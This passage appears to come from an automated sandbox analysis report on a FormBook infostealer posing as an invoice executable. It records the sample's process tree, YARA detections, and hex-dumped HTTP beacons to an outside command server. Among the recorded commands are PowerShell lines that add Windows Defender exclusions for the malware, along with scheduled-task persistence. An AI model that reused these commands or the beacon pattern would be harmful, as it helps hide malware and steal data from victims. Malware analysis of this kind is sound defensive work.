31 6f 43 79 4d 6f 57 78 52 79 35 6f 32 63 61 6e 2f 2f 33 30 62 56 41 53 57 31 59 33 76 66 52 4f 79 45 77 57 51 4b 30 6e 42 70 76 50 47 67 66 6c 76 44 57 56 6d 51 39 31 75 79 54 68 65 73 63 77 4b 2b 55 6f 50 41 65 6f 6d 55 6e 63 35 2b 63 76 59 31 76 69 71 45 7a 38 2b 6e 62 61 42 37 2f 61 77 78 32 50 43 4f 41 47 37 34 65 36 43 62 6a 4d 72 73 68 33 41 6f 34 4e 44 36 4a 53 49 48 44 2f 5a 70 6d 4e 42 39 42 37 35 42 35 78 7a 54 72 64 6e 36 6f 30 4f 34 44 73 66 64 52 4a 30 74 63 62 6d 6c 72 4f 47 61 30 54 4f 61 65 70 56 63 77 5a 49 61 41 66 4b 57 45 75 44 6a 71 63 72 6e 45 78 74 57 42 70 6d 53 6c 71 65 54 4d 56 4d 51 32 71 77 72 41 76 67 6f 36 55 58 34 42 36 6c 61 32 73 70 42 52 56 4e 42 56 2f [TRUNCATED] Data Ascii: ej6Le=wv42pZALNojP9hoWqQ4zEXV3BVDzaGn1nt/qjAbq394+Ru9di8ECUXJywBE8rmaM8hWXqtuCzkiB6COlOvT3a5CPr1QlcsTZOehZ1oCyMoWxRy5o2can//30bVASW1Y3vfROyEwWQK0nBpvPGgflvDWVmQ91uyThescwK+UoPAeomUnc5+cvY1viqEz8+nbaB7/awx2PCOAG74e6CbjMrsh3Ao4ND6JSIHD/ZpmNB9B75B5xzTrdn6o0O4DsfdRJ0tcbmlrOGa0TOaepVcwZIaAfKWEuDjqcrnExtWBpmSlqeTMVMQ2qwrAvgo6UX4B6la2spBRVNBV/XP26Uy1hBqLMXFTmPku6QsaUjVu6vPpV8xoAFUp/k4qf+tWPTQaswlKaeYPEbonovrJxTO/fBrdQOhr22jy/McnGYimNLK+OsC33dqmuCPYIxcyX1CgjEFa9jvIYyi5USCQKBspA2dDvOb7xatNlxL6JC8EC7c0bmJ430TbIraq8kTWXa+hhGh+NhriIFHfyCKwvZTExFZChTaaaDkvSckDkXMW50BmjcWytVGfSCTKI9FJ9y1+wezNgucZSL6IuXhL17uzli4JK/ARINJMXlqsCUjWsd8rE23TdKuysWBEtdahvDOOgPH1ghcG95QqEYufquicE4o/ksFEtUWo4Inc+VnOa9zXVe0WVzlubYGvSZxwXvW0cl5+cPRMr4xDq8WERhuBXKiaJGYbgl/my8selOlmlRXVYBMod0JIssed/24wkVd5Q9u2keShnAHVWrhiXq9QLCwqNLaVobtmBoGUo86vnKty++4WEsFDwW55eYyz2JaRGM7d0qf4UxDJGWPYDjRvCGBODCvkXZfR96COGq47S0ti9d13GWHkjl67q0rF7dA6CYB2vzFSYAOjCEFx9N2NFxk2R22EcnI1kWGrxNSbLwzyn6ZCaUKaiGMjFuIiE4SJ/30+aLMwYf2paBMcbJCz1spXWsDLNAH+FTef9ZR96nDkqxp [TRUNCATED]
Oct 7, 2024 12:36:43.034208059 CEST	393	IN	HTTP/1.1 404 Not Found Date: Mon, 07 Oct 2024 10:36:42 GMT Server: Apache/2.4.6 (CentOS) PHP/7.2.34 Content-Length: 203 Connection: close Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 78 30 74 6c 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /x0tl/ was not found on this server.</p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
52	192.168.2.6	50047	8.217.17.192	80	1460	C:\Program Files (x86)\oXMrKrVQmpfyXXbTeHWanCtVJeNmquaEinTWGKjuVyEkKRtWr\IEFVDUdSaLLhw.exe

Timestamp	Bytes transferred	Direction	Data
Oct 7, 2024 12:36:44.664339066 CEST	508	OUT	GET /x0tl/?An=mLdxo2Y8RLRh&ej6Le=9tQWqttnWu7MjGZLyiEcCzdUDF7UN3PBgIeLryHozuROP/1ck4METjVt2AM5oXaP3hSOrK+o7VaG5j6GesXwOMuHrEAdecfGMf0B1/a+f8XsVC4h6LXHmO6QOE5KLV0/obdy6xQ= HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8 Accept-Language: en-US Host: www.meliorahomes.net Connection: close User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)

Target ID:	0
Start time:	06:32:58
Start date:	07/10/2024
Path:	C:\Users\user\Desktop\z1SupplyInvoiceCM60916_Doc.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\z1SupplyInvoiceCM60916_Doc.exe"
Imagebase:	0xf90000
File size:	949'248 bytes
MD5 hash:	A903C6FB836F2C2C2762D1FDE269BDB8
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Target ID:	5
Start time:	06:33:04
Start date:	07/10/2024
Path:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\Desktop\z1SupplyInvoiceCM60916_Doc.exe"
Imagebase:	0x30000
File size:	433'152 bytes
MD5 hash:	C32CA4ACFCC635EC1EA6ED8A34DF5FAC
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Target ID:	6
Start time:	06:33:04
Start date:	07/10/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff66e660000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Target ID:	7
Start time:	06:33:04
Start date:	07/10/2024
Path:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\AppData\Roaming\dpqsbGoWdXlp.exe"
Imagebase:	0x30000
File size:	433'152 bytes
MD5 hash:	C32CA4ACFCC635EC1EA6ED8A34DF5FAC
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Target ID:	8
Start time:	06:33:04
Start date:	07/10/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff66e660000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Target ID:	9
Start time:	06:33:04
Start date:	07/10/2024
Path:	C:\Windows\SysWOW64\schtasks.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\System32\schtasks.exe" /Create /TN "Updates\dpqsbGoWdXlp" /XML "C:\Users\user\AppData\Local\Temp\tmp68D8.tmp"
Imagebase:	0x200000
File size:	187'904 bytes
MD5 hash:	48C2FE20575769DE916F48EF0676A965
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Target ID:	10
Start time:	06:33:04
Start date:	07/10/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff66e660000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Target ID:	11
Start time:	06:33:05
Start date:	07/10/2024
Path:	C:\Users\user\Desktop\z1SupplyInvoiceCM60916_Doc.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\z1SupplyInvoiceCM60916_Doc.exe"
Imagebase:	0xc30000
File size:	949'248 bytes
MD5 hash:	A903C6FB836F2C2C2762D1FDE269BDB8
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 0000000B.00000002.2299844236.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Formbook_1112e116, Description: unknown, Source: 0000000B.00000002.2299844236.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: unknown Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 0000000B.00000002.2351474935.0000000005710000.00000040.10000000.00040000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Formbook_1112e116, Description: unknown, Source: 0000000B.00000002.2351474935.0000000005710000.00000040.10000000.00040000.00000000.sdmp, Author: unknown Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 0000000B.00000002.2302119508.00000000024B0000.00000040.10000000.00040000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Formbook_1112e116, Description: unknown, Source: 0000000B.00000002.2302119508.00000000024B0000.00000040.10000000.00040000.00000000.sdmp, Author: unknown
Reputation:	low
Has exited:	true

Target ID:	12
Start time:	06:33:07
Start date:	07/10/2024
Path:	C:\Users\user\AppData\Roaming\dpqsbGoWdXlp.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Roaming\dpqsbGoWdXlp.exe
Imagebase:	0x600000
File size:	949'248 bytes
MD5 hash:	A903C6FB836F2C2C2762D1FDE269BDB8
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 47%, ReversingLabs
Reputation:	low
Has exited:	true

Target ID:	13
Start time:	06:33:08
Start date:	07/10/2024
Path:	C:\Program Files (x86)\oXMrKrVQmpfyXXbTeHWanCtVJeNmquaEinTWGKjuVyEkKRtWr\IEFVDUdSaLLhw.exe
Wow64 process (32bit):	true
Commandline:	"C:\Program Files (x86)\oXMrKrVQmpfyXXbTeHWanCtVJeNmquaEinTWGKjuVyEkKRtWr\IEFVDUdSaLLhw.exe"
Imagebase:	0xb20000
File size:	140'800 bytes
MD5 hash:	32B8AD6ECA9094891E792631BAEA9717
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 0000000D.00000002.4578178574.00000000031A0000.00000040.00000001.00040000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Formbook_1112e116, Description: unknown, Source: 0000000D.00000002.4578178574.00000000031A0000.00000040.00000001.00040000.00000000.sdmp, Author: unknown
Reputation:	high
Has exited:	false

Target ID:	14
Start time:	06:33:08
Start date:	07/10/2024
Path:	C:\Windows\System32\wbem\WmiPrvSE.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding
Imagebase:	0x7ff717f30000
File size:	496'640 bytes
MD5 hash:	60FF40CFD7FB8FE41EE4FE9AE5FE1C51
Has elevated privileges:	true
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Target ID:	15
Start time:	06:33:10
Start date:	07/10/2024
Path:	C:\Windows\SysWOW64\svchost.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\SysWOW64\svchost.exe"
Imagebase:	0x950000
File size:	46'504 bytes
MD5 hash:	1ED18311E3DA35942DB37D15FA40CC5B
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 0000000F.00000002.4574137574.00000000007B0000.00000040.80000000.00040000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Formbook_1112e116, Description: unknown, Source: 0000000F.00000002.4574137574.00000000007B0000.00000040.80000000.00040000.00000000.sdmp, Author: unknown Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 0000000F.00000002.4577917548.0000000003080000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Formbook_1112e116, Description: unknown, Source: 0000000F.00000002.4577917548.0000000003080000.00000004.00000800.00020000.00000000.sdmp, Author: unknown Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 0000000F.00000002.4578048891.00000000030D0000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Formbook_1112e116, Description: unknown, Source: 0000000F.00000002.4578048891.00000000030D0000.00000004.00000800.00020000.00000000.sdmp, Author: unknown
Reputation:	high
Has exited:	false

Target ID:	17
Start time:	06:33:16
Start date:	07/10/2024
Path:	C:\Windows\SysWOW64\schtasks.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\System32\schtasks.exe" /Create /TN "Updates\dpqsbGoWdXlp" /XML "C:\Users\user\AppData\Local\Temp\tmp9353.tmp"
Imagebase:	0x200000
File size:	187'904 bytes
MD5 hash:	48C2FE20575769DE916F48EF0676A965
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Target ID:	18
Start time:	06:33:16
Start date:	07/10/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff66e660000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Target ID:	19
Start time:	06:33:16
Start date:	07/10/2024
Path:	C:\Users\user\AppData\Roaming\dpqsbGoWdXlp.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Roaming\dpqsbGoWdXlp.exe"
Imagebase:	0x8d0000
File size:	949'248 bytes
MD5 hash:	A903C6FB836F2C2C2762D1FDE269BDB8
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Target ID:	23
Start time:	06:33:34
Start date:	07/10/2024
Path:	C:\Program Files\Mozilla Firefox\firefox.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Mozilla Firefox\Firefox.exe"
Imagebase:	0x7ff728280000
File size:	676'768 bytes
MD5 hash:	C86B1BE9ED6496FE0E0CBE73F81D8045
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true